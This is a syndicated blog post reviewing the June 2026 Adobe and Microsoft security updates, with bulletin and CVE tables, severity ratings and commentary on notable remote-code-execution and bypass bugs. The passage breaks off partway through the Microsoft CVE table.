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<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
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<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
